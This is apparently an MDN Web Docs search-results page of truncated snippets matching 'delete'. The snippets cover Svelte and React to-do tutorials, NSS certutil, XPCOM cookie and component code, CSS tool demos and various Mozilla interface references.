Dynamic behavior in Svelte: working with variables and props - Learn web development
previous overview: client-side javascript frameworks next now that we have our markup and styles ready we can start developing the required features for our svelte to-do list app.
...box" id="todo-{todo.id}" checked={todo.completed}/> <label for="todo-{todo.id}" class="todo-label"> {todo.name} </label> </div> <div class="btn-group"> <button type="button" class="btn"> edit <span class="visually-hidden">{todo.name}</span> </button> <button type="button" class="btn btn__danger"> delete <span class="visually-hidden">{todo.name}</span> </button> </div> </div> </li> {:else} <li>nothing to do here!</li> {/each} </ul> notice how we are using curly braces to embed javascript expressions in html attributes, like we did with the checked and id attributes of the checkbox.
...s: <input type="checkbox" id="todo-{todo.id}" on:click={() => todo.completed = !todo.completed} checked={todo.completed} /> next we'll add a function to remove a todo from our todos array.
...And 7 more matches
NSS tools : certutil
name certutil — manage keys and certificate in both nss databases and other nss tokens synopsis certutil [options] [[arguments]] description the certificate database tool, certutil, is a command-line utility that can create and modify certificate and key databases.
... synopsis certutil [options] [[arguments]] description the certificate database tool, certutil, is a command-line utility that can create and modify certificate and key databases.
...efault.
...And 7 more matches
certutil
name certutil — manage keys and certificate in the the nss database.
...synopsis certutil [options] arguments description the certificate database tool, certutil, is a command-line utility that can create and modify certificate and key database files.
...y default.
...And 7 more matches
Using XPCOM Components
even if the underlying implementation changes.
...d from the xpcom cookiemanager component can be called from javascript: getting the cookiemanager component in javascript // xpconnect to cookiemanager // get the cookie manager component in javascript var cmgr = components.classes["@mozilla.org/cookiemanager;1"] .getservice(); cmgr = cmgr.queryinterface(components.interfaces.nsicookiemanager); // called as part of a largerdeleteallcookies() function function finalizecookiedeletions() { for (var c=0; c<deletedcookies.length; c++) { cmgr.remove(deletedcookies[c].host, deletedcookies[c].name, deletedcookies[c].path); } deletedcookies.length = 0; } connecting to components from the interface the mozilla user interface uses javascript that has been given access to xpcom components...
...er> servman; nsresult rv = ns_getservicemanager(getter_addrefs(servman)); if (ns_failed(rv)) return -1; nscomptr<nsicookiemanager> cookiemanager; rv = servman->getservicebycontractid("@mozilla.org/cookiemanager", ns_get_iid(nsicookiemanager), getter_addrefs(cookiemanager)); if (ns_failed(rv)) return -1; pruint32 len; deletedcookies->getlength(&len); for (int c=0; c<len; c++) cookiemanager->remove(deletedcookies[c].host, deletedcookies[c].name, deletedcookies[c].path, pr_false); xxx: in the original document, there were only the first three parameters to the |remove| call.
...And 7 more matches
nsIAccessibleEditableText
f an object with new text.
...ve code only!
...tart offset of the text to be copied into the clipboard.
...And 7 more matches
WebGL2RenderingContext - Web APIs
nders primitives from array data in a given range.
...s from array data in a given range.
...nquery() begins an asynchronous query.
...And 7 more matches
Box-shadow generator - CSS: Cascading Style Sheets
<div id="stack_container"></div> </div> <div id="preview_zone"> <div id="layer_menu" class="col span_12"> <div class="button" id="element" data-type="subject" data-title="element"> element </div> <div class="button" id="before" data-type="subject" data-title=":before"> :before <span class="delete" data-type="disable"></span> </div> <div class="button" id="after" data-type="subject" data-title=":after"> :after <span class="delete" data-type="disable"></span> </div> <div class="ui-checkbox" data-topic='before' data-label=":before"></div> <div class="ui-checkbox" data-topic...
...-moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } #layer_manager .node:hover { color: #fff; background-color: #3380c4; cursor: pointer; } /* active element styling */ #layer_manager [data-active='layer'] { color: #fff; border: none; background-color: #379b4a; } #layer_manager [data-active='subject'] { color: #fff; background-color: #467fc9; } /* delete button */ #layer_manager .delete { width: 1.5em; height: 100%; float: right; border-radius: 3px; background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png"); background-position: center center; background-repeat: no-repeat; position: absolute; top: 0; right: 10px; display: none; } #layer_manager .delete:hover { background-image: url("https://mdn.mozillademos.or...
...layer_manager .delete { width: 1.5em; height: 100%; float: right; border-radius: 3px; background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png"); background-position: center center; background-repeat: no-repeat; position: absolute; top: 0; right: 10px; display: none; } #layer_manager .delete:hover { background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png"); } #layer_manager .node:hover .delete { display: block; } #layer_manager .stack { padding: 0 5px; max-height: 90%; overflow: auto; overflow-x: hidden; } /* * layer menu */ #layer_menu { margin: 0 0 10px 0; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } #layer_menu .button { width: 100px; margin: 0 5px 0 0; padding: 2.5px; ...
...And 7 more matches
Color picker tool - CSS: Cascading Style Sheets
<div id="color-palette"></div> <div id="color-info"> <div class="title"> css color </div> </div> </div> <div id="picker" class="block"> <div class="ui-color-picker" data-topic="picker" data-mode="hsl"></div> <div id="picker-samples" sample-id="master"></div> <div id="controls"> <div id="delete"> <div id="trash-can"></div> </div> <div id="void-sample" class="icon"></div> </div> </div> <div id="canvas" data-tutorial="drop"> <div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index" data-max="20" data-sensivity="10"></div> </div> </div> css /*...
...t-align: center; line-height: 24px; overflow: hidden; float: left; } #controls .switch:hover { cursor: pointer; } #controls .switch > * { width: 50%; padding: 2px 0; background-color: #eee; float: left; } #controls .switch [data-active='true'] { color: #fff; background-image: url('https://mdn.mozillademos.org/files/6025/grain.png'); background-color: #777; } /** * trash can */ #delete { width: 100%; height: 94px; background-color: #ddd; background-image: url('https://mdn.mozillademos.org/files/6025/grain.png'); background-repeat: repeat; text-align: center; color: #777; position: relative; float: right; } #delete #trash-can { width: 80%; height: 80%; border: 2px dashed #fff; border-radius: 5px; background: url('https://mdn.mozillademos.org/files/6085/trash-can...
...lor: #777; position: relative; float: right; } #delete #trash-can { width: 80%; height: 80%; border: 2px dashed #fff; border-radius: 5px; background: url('https://mdn.mozillademos.org/files/6085/trash-can.png') no-repeat center; position: absolute; top: 10%; left: 10%; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; transition: all 0.2s; } #delete[drag-state='enter'] { background-color: #999; } /** * color theme */ #color-theme { margin: 0 8px 0 0; border: 1px solid #eee; display: inline-block; float: right; } #color-theme .box { width: 80px; height: 92px; float: left; } /** * color info box */ #color-info { width: 360px; float: left; } #color-info .title { width: 100%; padding: 15px; font-size: 18px; text-align: ce...
...And 7 more matches
Array.prototype.splice() - JavaScript
the splice() method changes the contents of an array by removing or replacing existing elements and/or adding new elements in place.
... method changes the contents of an array by removing or replacing existing elements and/or adding new elements in place.
...e interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...And 7 more matches
Idempotent - MDN Web Docs Glossary: Definitions of Web-related terms
an http method is idempotent if an identical request can be made once or several times in a row with the same effect while leaving the server in the same state.
...ate.
...s).
...And 6 more matches
Introduction to client-side frameworks - Learn web development
of frameworks, but not really why developers felt the need to make them.
...r a list of tasks, add a new task, and delete a task; and it must do this while reliably tracking and updating the data underlying the application.
...l <li> element inside of an unordered list element (a <ul>).
...And 6 more matches
Accessibility in React - Learn web development
ader users.
...your browser.
... } }, [wasediting, isediting]); note that the logic of useeffect() now depends on wasediting, so we provide it in the array of dependencies.
...And 6 more matches
Beginning our React todo list - Learn web development
previous overview: client-side javascript frameworks next let's say that we’ve been tasked with creating a proof-of-concept in react – an app that allows users to add, edit, and delete tasks they want to work on, and also mark tasks as complete without deleting them.
...in place.
... delete any task, using the mouse or keyboard.
...And 6 more matches
Command line crash course - Learn web development
o — you’ll have to get some experience with the terminal eventually.
...ut of the box, here are just a few of the things the command line can do, along with names of relevant tools in each case: navigate your computer’s file system along with base level tasks such as create, copy, rename and delete: move around your directory structure: cd create directories: mkdir create files (and modify their metadata): touch copy files: cp move files: mv delete files or directories: rm download files found at specific urls: curl search for fragments of text inside larger bodies of text: grep view a file's contents page by page: less, cat manipulate and transform streams of text (for example changing all the instances of <div>s in an html file to <article>): awk, tr, sed note: there are a number of good tutorials on the web that go much deepe...
...tory to "do something".
...And 6 more matches
Multiple Firefox profiles
e a profile name that is descriptive, such as your personal name.
...ame.
...on, and click next enter a profile name for your new profile.
...And 6 more matches
Localization content best practices
from the menu in basque is menutik and to the printers is inprimagailuei.
...n basque is menutik and to the printers is inprimagailuei.
...nutik and to the printers is inprimagailuei.
...And 6 more matches
NSS Tools certutil
using the certificate database tool the certificate database tool is a command-line utility that can create and modify the netscape communicator cert8.db and key3.db database files.
... using the certificate database tool the certificate database tool is a command-line utility that can create and modify the netscape communicator cert8.db and key3.db database files.
...e.
...And 6 more matches
Index
Mozilla › Tech › XPCOM › Index
ment from the nsiaccessible or nsiaccessnode for the root node of a document.
...siaccessible or nsiaccessnode for the root node of a document.
...also get one from nsiaccessnode.getaccessibledocument() or nsiaccessibleevent.getaccessibledocument() 292 nsiaccessibleeditabletext accessibility, interfaces, interfaces:scriptable, xpcom, xpcom api reference, xpcom interface reference copies the text range into the clipboard.
...And 6 more matches
nsIHTMLEditor
; astring getparagraphstate(out boolean amixed); nsidomelement getselectedelement(in astring atagname); nsidomelement getselectioncontainer(); void ignorespuriousdragevent(in boolean aignorespuriousdragevent); void increasefontsize(); void indent(in astring aindent); void insertelementatselection(in nsidomelement aelement, in boolean adeleteselection); void insertfromdrop(in nsidomevent aevent); void inserthtml(in astring ainputstring); void inserthtmlwithcontext(in astring ainputstring, in astring acontextstr, in astring ainfostr, in astring aflavor, in nsidomdocument asourcedoc, in nsidomnode adestinationnode, in long adestinationoffset, in boolean adeleteselection); void insertlinkaroundselectio...
... indent( in astring aindent ); parameters aindent insertelementatselection() insert an element, which may have child nodes, at the selection used primarily to insert a new element for various insert element dialogs, but it enforces the html 4.0 dtd "cancontain" rules, so it should be useful for other elements.
...ementatselection() insert an element, which may have child nodes, at the selection used primarily to insert a new element for various insert element dialogs, but it enforces the html 4.0 dtd "cancontain" rules, so it should be useful for other elements.
...And 6 more matches
nsIMessenger
imessenger instance.
...e.
..., in acstring acontenttype, in nsiurllistener alistener); parameters afile the nsifile to save to.
...And 6 more matches
nsIProfile
e); note: this interface was used by seamonkey up through seamonkey 1.1 versions, which were based off gecko 1.8.1.
...nkey up through seamonkey 1.1 versions, which were based off gecko 1.8.1.
...rofilename the name to assign to the new profile.
...And 6 more matches
WebIDL bindings
notes: need to document the setup for indexed and named setters/creators/deleters.
... interface: interface stringtolongmap { maplike<domstring, long>; }; the bindings for this interface will generate the storage structure for the map, as well as helper functions for accessing that structure from c++.
...ngs setlike example interface: interface stringset { setlike<domstring>; }; the bindings for this interface will generate the storage structure for the set, as well as helper functions for accessing that structure from c++.
...And 6 more matches
Cache - Web APIs
Web › API › Cache
to windowed scopes as well as workers.
...torage.open() to open a specific named cache object and then call any of the cache methods to maintain the cache.
...ny of the cache methods to maintain the cache.
...And 6 more matches
Document.execCommand() - Web APIs
ers, and its conditions have evolved over time.
... its conditions have evolved over time.
...on, replacing the block element containing the line if one exists (in firefox, <blockquote> is the exception — it will wrap any containing block element).
...And 6 more matches
Modularization techniques - Archive of obsolete content
result, in case of failure *aresult = null; if (aiid.equals(kisupportsiid)) { *aresult = (void *) this; } else if (aiid.equals(kisampleiid)) { *aresult = (void *) this; } if (aresult != null) { return ns_error_no_interface; } addref(); return ns_ok; } nsrefcount nssample::addref() { return ++mrefcnt; } nsrefcount nssample::release() { if (--mrefcnt == 0) { delete this; return 0; // don't access mrefcnt after deleting!
... *aresult = (void *) this; } else if (aiid.equals(kifactoryiid)) { *aresult = (void *) this; } if (*aresult == null) { return ns_error_no_interface; } addref(); // increase reference count for caller return ns_ok; } ns_imethodimp(nsrefcount) nssamplefactory::addref() { return ++mrefcnt; } ns_imethodimp(nsrefcount) nssamplefactory::release() { if (--mrefcnt == 0) { delete this; return 0; // don't access mrefcnt after deleting!
... const nsiid &aiid, void **aresult) { if (aresult == null) { return ns_error_null_pointer; } *aresult = null; nsisupports inst = new nssample(); if (inst == null) { return ns_error_out_of_memory; } nsresult res = inst->queryinterface(aiid, aresult); if (res != ns_ok) { // we didn't get the right interface, so clean up delete inst; } return res; } void nssamplefactory::lockfactory(prbool alock) { // not implemented in simplest case.
...And 5 more matches
nsIDBChangeListener
the nsidbchangelistener interface is used by components wanting to receive notification when the current database changes somehow.
...do this like so: somefolder.msgdatabase.addlistener(mylistener); alternately, you can access the message database through the nsimsgdbview like so: gfolderdisplay.view.dbview.db.addlistener(mylistener); method overview void onhdrflagschanged(in nsimsgdbhdr ahdrchanged, in unsigned long aoldflags, in unsigned long anewflags, in nsidbchangelistener ainstigator); void onhdrdeleted(in nsimsgdbhdr ahdrchanged, in nsmsgkey aparentkey, in long aflags, in nsidbchangelistener ainstigator); void onhdradded(in nsimsgdbhdr ahdrchanged, in nsmsgkey aparentkey, in long aflags, in nsidbchangelistener ainstigator); void onparentchanged(in nsmsgkey akeychanged, in nsmsgkey oldparent, in nsmsgkey newparent, in nsidbchangelistener ainstigator); void onannouncer...
... aoldflags the original flags on the message.
...And 5 more matches
nsIMsgDBView
ed long count); void loadmessagebymsgkey(in nsmsgkey amsgkey); void loadmessagebyviewindex(in nsmsgviewindex aindex); void loadmessagebyurl(in string aurl); void reloadmessage(); void reloadmessagewithallparts(); void selectmsgbykey(in nsmsgkey key); void selectfoldermsgbykey(in nsimsgfolder afolder, in nsmsgkey akey); void ondeletecompleted(in boolean succeeded); nsmsgviewindex findindexfromkey(in nsmsgkey amsgkey, in boolean aexpand); void expandandselectthreadbyindex(in nsmsgviewindex aindex, in boolean aaugment); void addcolumnhandler(in astring acolumn, in nsimsgcustomcolumnhandler ahandler); void removecolumnhandler(in astring acolumn); nsimsgcustomcolumnhandler getcolumnhan...
...r nsimsgfolder readonly: the current folder.
... uriforfirstselectedmessage acstring readonly: url of the first selected message.
...And 5 more matches
nsISmsRequestManager
ng arequestid, in nsidommozsmsmessage amessage); void notifygotsms(in long arequestid, in nsidommozsmsmessage amessage); void notifymarkedmessageread(in long arequestid, in bool aread); void notifymarkmessagereadfailed(in long arequestid, in long aerror); void notifynomessageinlist(in long arequestid); void notifyreadmessagelistfailed(in long arequestid, in long aerror); void notifysmsdeleted(in long arequestid, in bool adeleted); void notifysmsdeletefailed(in long arequestid, in long aerror); void notifysmssendfailed(in long arequestid, in long aerror); void notifysmssent(in long arequestid, in nsidommozsmsmessage amessage); constants all sms related errors that could apply to smsrequest objects.
....
...nomessageinlist() void notifynomessageinlist( in long arequestid ); parameters arequestid a number representing the id of the request.
...And 5 more matches
Migrating from Firebug - Firefox Developer Tools
s well as when it was last accessed and whether it is host-only.
...host-only.
...e-click the data you want to edit.
...And 5 more matches
Browser storage limits and eviction criteria - Web APIs
there are a number of web technologies that store data of one kind or another on the client-side (i.e., on your local disk).
...data when required.
...e same storage management tools too, as described in this document.
...And 5 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
an overlay.js file.
...ame = event.target.getattribute("filename"); var file = this._dir.clone(); file.append(filename); var state = this._readfile(file); var ss = components.classes["@mozilla.org/browser/sessionstore;1"] .getservice(components.interfaces.nsisessionstore); ss.setwindowstate(window, state, false); }, clear method this uses the directoryentries property of the nslfile interface to delete all files within the directory you got earlier.
...onverter.convertfromunicode(adata); converteddata += converter.finish(); // write and close stream stream.write(converteddata, converteddata.length); if (stream instanceof components.interfaces.nsisafeoutputstream) { stream.finish(); } else { stream.close(); } }, createmenu method this event handler is called when the session store submenu opens.
...And 4 more matches
calICalendarViewController - Archive of obsolete content
summary a calicalendarviewcontroller provides a way for a calicalendarview to create, modify, and delete items.
... interface code [scriptable, uuid(1f783898-f4c2-4b2d-972e-360e0de38237)] interface calicalendarviewcontroller : nsisupports { void createnewevent (in calicalendar acalendar, in calidatetime astarttime, in calidatetime aendtime); void modifyoccurrence (in caliitemoccurrence aoccurrence, in calidatetime anewstarttime, in calidatetime anewendtime); void deleteoccurrence (in caliitemoccurrence aoccurrence); }; methods createnewevent void createnewevent (in calicalendar acalendar, in calidatetime astarttime, in calidatetime aendtime); the createnewevent method is used for creating a new calievent in the calicalendar specified by the acalendar parameter.
...her both be specified, or neither.
...And 4 more matches
Manipulating documents - Learn web development
browsers) is the actual page loaded into the window, and is represented in javascript by the document object.
...he paragraph the link is inside, and append the text node to it: const linkpara = document.queryselector('p'); linkpara.appendchild(text); that's most of what you need for adding nodes to the dom — you'll make a lot of use of these methods when building dynamic interfaces (we'll look at some examples later).
...e hope you enjoyed the ride.</p> note: notice how the javascript property versions of the css styles are written in lower camel case whereas the css versions are hyphenated (e.g.
...And 4 more matches
Focus management with Vue refs - Learn web development
ause the component has already been added to the dom when mounted() is called.
... focus when deleting to-do items there's one more place we need to consider focus management: when a user deletes a to-do.
...to-do.
...And 4 more matches
HTML parser threading
loop into nshtml5streamparser.
...ead refcounting issues.) memory management when crossing the thread boundary the tree ops hold various heap-allocated objects that end up crossing the thread boundary.
...-allocated objects that end up crossing the thread boundary.
...And 4 more matches
NSS tools : modutil
he security module database.
...eate create new certificate, key, and module databases.
...rtificate, key, and module databases.
...And 4 more matches
NSS tools : modutil
Mozilla › Projects › NSS › tools › modutil
name modutil — manage pkcs #11 module information within the security module database.
...bdir directory argument to specify a directory.
...ment to specify a directory.
...And 4 more matches
Creating the Component Code
ns_imethodimp samplefactory::createinstance(nsisupports *aouter, const nsiid & iid, void * *result) { if (!result) return ns_error_invalid_arg; sample* sample = new sample(); if (!sample) return ns_error_out_of_memory; nsresult rv = sample->queryinterface(iid, result); if (ns_failed(rv)) { *result = nsnull; delete sample; } return rv; } weblock1.cpp before any of the improvements and xpcom tools we describe in the following chapter are brought in, the source code for the weblock component that implements all the necessary interfaces looks like this.
...**aresult) { if (aresult == null) { return ns_error_null_pointer; } *aresult = null; if (aiid.equals(kisupportsiid)) { *aresult = (void *) this; } if (*aresult == null) { return ns_error_no_interface; } addref(); return ns_ok; } ns_imethodimp_(nsrefcnt) sample::addref() { return ++mrefcnt; } ns_imethodimp_(nsrefcnt) sample::release() { if (--mrefcnt == 0) { delete this; return 0; } return mrefcnt; } // factory implementation class for component class samplefactory: public nsifactory{ private: nsrefcnt mrefcnt; public: samplefactory(); virtual ~samplefactory(); ns_imethod queryinterface(const nsiid &aiid, void **aresult); ns_imethod_(nsrefcnt) addref(void); ns_imethod_(nsrefcnt) release(void); ns_imethod createin...
...null; if (aiid.equals(kisupportsiid)) { *aresult = (void *) this; } else if (aiid.equals(kifactoryiid)) { *aresult = (void *) this; } if (*aresult == null) { return ns_error_no_interface; } addref(); return ns_ok; } ns_imethodimp_(nsrefcnt) samplefactory::addref() { return ++mrefcnt; } ns_imethodimp_(nsrefcnt) samplefactory::release() { if (--mrefcnt == 0) { delete this; return 0; } return mrefcnt; } ns_imethodimp samplefactory::createinstance(nsisupports *aouter, const nsiid & iid, void * *result) { if (!result) return ns_error_invalid_arg; sample* sample = new sample(); if (!sample) return ns_error_out_of_memory; nsresult rv = sample->queryinterface(iid, result); if...
...And 4 more matches
Starting WebLock
since every category can define the name-value pairs, the application "app-startup" category can support not only services but component instances as well.
... weblock_contractid, pr_true, // persist category pr_true, // replace existing &previous); if (previous) nsmemory::free(previous); // free the memory the replaced value might have used the unregistration, which should occur in the unregistration callback, looks like this: rv = catman->deletecategoryentry("xpcom-startup", "weblock", pr_true); // persist a complete code listing for registering weblock as a startup observer follows: #define mozilla_strict_api #include "nsigenericfactory.h" #include "nscomptr.h" #include "nsxpcom.h" #include "nsiservicemanager.h" #include "nsicategorymanager.h" #include "nsmemory.h...
...manager> servman = do_queryinterface((nsisupports*)acompmgr, &rv); if (ns_failed(rv)) return rv; nscomptr<nsicategorymanager> catman; rv = servman->getservicebycontractid(ns_categorymanager_contractid, ns_get_iid(nsicategorymanager), getter_addrefs(catman)); if (ns_failed(rv)) return rv; rv = catman->deletecategoryentry("xpcom-startup", "weblock", pr_true); return rv; } ns_generic_factory_constructor(weblock) static const nsmodulecomponentinfo components[] = { { "weblock", weblock_cid, weblock_contractid, weblockconstructor, weblockregistration, weblockunregistration } }; ns_impl_nsgetmodule(weblo...
...And 4 more matches
nsISelectionController
content/base/public/nsiselectioncontroller.idlscriptable please add a summary to this article.
... void selectall(); void setcaretenabled(in boolean enabled); void setcaretreadonly(in boolean readonly); void setcaretvisibilityduringselection(in boolean visibility); void setcaretwidth(in short pixels); obsolete since gecko 1.8 void setdisplayselection(in short toggle); void wordextendfordelete(in boolean forward); native code only!
... if set, the specified location will be scrolled to the center of the view.
...And 4 more matches
nsMsgViewCommandType
) constants name value description markmessagesread 0 marks the selected messages as read.
...ks the selected messages as read.
...essages as read.
...And 4 more matches
Using the Multiple Accounts API
the account settings.
....server.server.override_namespaces - boolean, should we override namespaces on this server?
...namespaces - boolean, should we override namespaces on this server?
...And 4 more matches
ContentIndexEvent - Web APIs
the contentindexevent interface of the content index api defines the object used to represent the contentdelete event.
... the contentindexevent interface of the content index api defines the object used to represent the contentdelete event.
...e contentindexevent interface of the content index api defines the object used to represent the contentdelete event.
...And 4 more matches
Index - Archive of obsolete content
larly well suited to xbl.
...dard and the firefox implementation.
... the levelchange event is fired when the level attribute of the battery api has changed.
...And 3 more matches
XPCOM Interfaces - Archive of obsolete content
ies and methods of the nsilocalfile interface.
...ame for the nsilocalfile.
...es and subdirectories will also be deleted.
...And 3 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
n responses are processed by cors, since they're considered safe (as the headers listed in access-control-expose-headers).
...rk a line break in a text file.
... 52 crud glossary, infrastructure crud (create, read, update, delete) is an acronym for ways one can operate on stored data.
...And 3 more matches
Debugging on Mac OS X
tion (sip).
...project (file > close project) and open finder.
...-s python # this script that we run does not work if we try to use the global 'lldb' # object, since it is out of date at the time that the script runs (for # example, `lldb.target.executable.fullpath` is empty).
...And 3 more matches
HTMLIFrameElement.purgeHistory()
warning: removed in firefox 65.
... warning: removed in firefox 65.
...n.
...And 3 more matches
Extending a Protocol
rotocol pecho.ipdl let's start by saving the following file to ./dom/ipc/pecho.ipdl.
...ndowglobal is our manager.
...he messages that the parent is able to recieve.
...And 3 more matches
Midas
happen.
...on't work without setting a pref or using signed js.
...rity preferences note: the shortcut key will automatically trigger this command (typically accel-x) with or without the signed js or any code on the page to handle it.
...And 3 more matches
NSS API Guidelines
location of the library code in the nss source tree.
...e of thread safety features.
...utdown functions.
...And 3 more matches
NSS Tools modutil
using the security module database (modutil) newsgroup: mozilla.dev.tech.crypto the security module database tool is a command-line utility for managing pkcs #11 module information within secmod.db files or within hardware tokens.
...cript needed to perform an installation through a server or with the security module database tool (that is, in environments without javascript support).
...rform an installation through a server or with the security module database tool (that is, in environments without javascript support).
...And 3 more matches
TPS History Lists
there are two types of history asset lists, one used for adding/modiyfing/verifying history, and the other for deleting history.
... { uri: "http://www.google.com/", title: "google", visits: [ { type: 1, date: 0 }, { type: 2, date: -1 } ] }, { uri: "http://www.cnn.com/", title: "cnn", visits: [ { type: 1, date: -1 }, { type: 2, date: -36 } ] }, ]; the history list used for deletions looks different.
...: "google", visits: [ { type: 1, date: 0 }, { type: 2, date: -1 } ] }, { uri: "http://www.cnn.com/", title: "cnn", visits: [ { type: 1, date: -1 }, { type: 2, date: -36 } ] }, ]; the history list used for deletions looks different.
...And 3 more matches
The Places database
s the values of bookmark item annotations.
...coded from base16 (the format in which it is stored) to base64 in order to display correctly.
...andled in toolkit/components/places/nsplacesexpiration.js.
...And 3 more matches
XPCOM array guide
Mozilla › Tech › XPCOM › Guide › Arrays
fast, while enumeration has slight function call overhead.
...scomarray<t>&).
...nsisimpleenumerator** aresult) { return ns_newarrayenumerator(aresult, melements); } deleting objects requires gecko 6.0(firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) introduces the removeobjectsat() method to nscomarray<t>.
...And 3 more matches
nsIAnnotationObserver
1.9 (firefox 3) method overview void onitemannotationremoved(in long long aitemid, in autf8string aname); void onitemannotationset(in long long aitemid, in autf8string aname); void onpageannotationremoved(in nsiuri auri, in autf8string aname); void onpageannotationset(in nsiuri apage, in autf8string aname); methods onitemannotationremoved() this method is called when an annotation is deleted for an item.
...autf8string aname); void onitemannotationset(in long long aitemid, in autf8string aname); void onpageannotationremoved(in nsiuri auri, in autf8string aname); void onpageannotationset(in nsiuri apage, in autf8string aname); methods onitemannotationremoved() this method is called when an annotation is deleted for an item.
...onitemannotationremoved() this method is called when an annotation is deleted for an item.
...And 3 more matches
nsIAnnotationService
utf8string aname, in nsivariant avalue, in long aflags, in unsigned short aexpiration ); parameters auri the uri on which the annotation is to be set.
...be set.
...string aname, in nsivariant avalue, in long aflags, in unsigned short aexpiration ); parameters aitemid the item on which the annotation is to be set.
...And 3 more matches
nsICookieService
broadcast whenever the cookie list changes in some way.
...ookie list changes in some way.
...ay.
...And 3 more matches
nsIFileInputStream
netwerk/base/nsifilestreams.idlscriptable an input stream that allows you to read from a file.
... netwerk/base/nsifilestreams.idlscriptable an input stream that allows you to read from a file.
...its from: nsiinputstream last changed in gecko 1.7 method overview void init(in nsifile file, in long ioflags, in long perm, in long behaviorflags); constants constant value description delete_on_close 1<<1 if this is set, the file will be deleted by the time the stream is closed.
...And 3 more matches
nsINavHistoryResultViewObserver
cell is located.
...ed cell is located.
...y is pressed, this method is called with the string "delete".
...And 3 more matches
nsISupportsArray
xpcom/ds/nsisupportsarray.idlscriptable please add a summary to this article.
... xpcom/ds/nsisupportsarray.idlscriptable please add a summary to this article.
...ex); violates the xpcom interface guidelines boolean sizeto(in long asize); violates the xpcom interface guidelines methods violates the xpcom interface guidelines appendelements() boolean appendelements( in nsisupportsarray aelements ); parameters aelements return value clone() nsisupportsarray clone(); parameters none.
...And 3 more matches
nsIAbCard/Thunderbird3
d setproperty(in autf8string name, in nsivariant value); [noscript] void setpropertyasastring(in string name, in astring value); [noscript] void setpropertyasautf8string(in string name, in autf8string value); [noscript] void setpropertyasuint32(in string name, in pruint32 value); [noscript] void setpropertyasbool(in string name, in boolean value); void deleteproperty(in autf8string name); autf8string translateto(in autf8string atype); void copy(in nsiabcard srccard) boolean equals(in nsiabcard card) astring generatephoneticname(in boolean alastnamefirst) attributes attribute type description properties nsisimpleenumerator readonly: a list of all the properties that this card has...
...pt] void setpropertyasastring(in string name, in astring value); [noscript] void setpropertyasautf8string(in string name, in autf8string value); [noscript] void setpropertyasuint32(in string name, in pruint32 value); [noscript] void setpropertyasbool(in string name, in boolean value); parameters name the case-sensitive name of the property to set.
...tyasastring(in string name, in astring value); [noscript] void setpropertyasautf8string(in string name, in autf8string value); [noscript] void setpropertyasuint32(in string name, in pruint32 value); [noscript] void setpropertyasbool(in string name, in boolean value); parameters name the case-sensitive name of the property to set.
...And 3 more matches
nsIMsgCloudFileProvider
ew filelink providers.
...ters awithui whether or not the provider should prompt the user for credentails in the event that the stored credentials have gone stale.
...r not the provider should prompt the user for credentails in the event that the stored credentials have gone stale.
...And 3 more matches
Debugger.Object - Firefox Developer Tools
tion behaves like object.defineproperty, except that the target object is implicit, and in a different compartment from the function and descriptor.) defineproperties(properties) add the properties given byproperties to the referent.
...e object.defineproperties, except that the target object is implicit, and in a different compartment from theproperties argument.) deleteproperty(name) remove the referent's property namedname.
...ch property.
...And 3 more matches
All keyboard shortcuts - Firefox Developer Tools
active.
... windows macos linux select the element under the mouse and cancel picker mode click click click select the element under the mouse and stay in picker mode shift+click shift+click shift+click html pane these shortcuts work while you're in the inspector's html pane.
... macos linux select the element under the mouse and cancel picker mode click click click select the element under the mouse and stay in picker mode shift+click shift+click shift+click html pane these shortcuts work while you're in the inspector's html pane.
...And 3 more matches
Page inspector keyboard shortcuts - Firefox Developer Tools
active.
... windows macos linux select the element under the mouse and cancel picker mode click click click select the element under the mouse and stay in picker mode shift+click shift+click shift+click html pane these shortcuts work while you're in the inspector's html pane.
... macos linux select the element under the mouse and cancel picker mode click click click select the element under the mouse and stay in picker mode shift+click shift+click shift+click html pane these shortcuts work while you're in the inspector's html pane.
...And 3 more matches
CacheStorage - Web APIs
is a key in any of the cache objects that the cachestorage object tracks, and returns a promise that resolves to that match.
...s, and returns a promise that resolves to that match.
.../jsonplaceholder.typicode.com/todos/1'; let cacheddata = await getcacheddata( cachename, url ); if ( cacheddata ) { console.log( 'retrieved cached data' ); return cacheddata; } console.log( 'fetching fresh data' ); const cachestorage = await caches.open( cachename ); await cachestorage.add( url ); cacheddata = await getcacheddata( cachename, url ); await deleteoldcaches( cachename ); return cacheddata; } // get data from the cache.
...And 3 more matches
Meta programming - JavaScript
responding target property if the corresponding target property is a non-writable, non-configurable data property.
... property is a non-writable, non-configurable data property.
...able, non-configurable data property.
...And 3 more matches
in operator - JavaScript
rue 'model' in mycar // returns true you must specify an object on the right side of the in operator.
...ou must specify an object on the right side of the in operator.
...n the right side of the in operator.
...And 3 more matches
super - JavaScript
l super on static methods.
...onstructor() {} static lognbsides() { return 'i have 4 sides'; } } class square extends rectangle { constructor() {} static logdescription() { return super.lognbsides() + ' which are all equal'; } } square.logdescription(); // 'i have 4 sides which are all equal' deleting super properties will throw an error you cannot use the delete operator and super.prop or super[expr] to delete a parent class' property, it will throw a referenceerror.
...eturn super.lognbsides() + ' which are all equal'; } } square.logdescription(); // 'i have 4 sides which are all equal' deleting super properties will throw an error you cannot use the delete operator and super.prop or super[expr] to delete a parent class' property, it will throw a referenceerror.
...And 3 more matches
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
sername\appdata\roaming\mozilla\firefox\profiles\random number.default\ ; on windows xp or 2000, it will be c:\documents and settings\username\application data\mozilla\firefox\profiles\random number.default\ ; on linux, it will be ~/.mozilla/firefox/random number.default/ ; on mac os x, it will be ~/library/application support/firefox/profiles/random number.default/ in the interests of security, delete these lines from prefs.js after finishing these tests.
...ted as an escape code, so should always be written “\\”; characters like “./” on linux require no special handling.
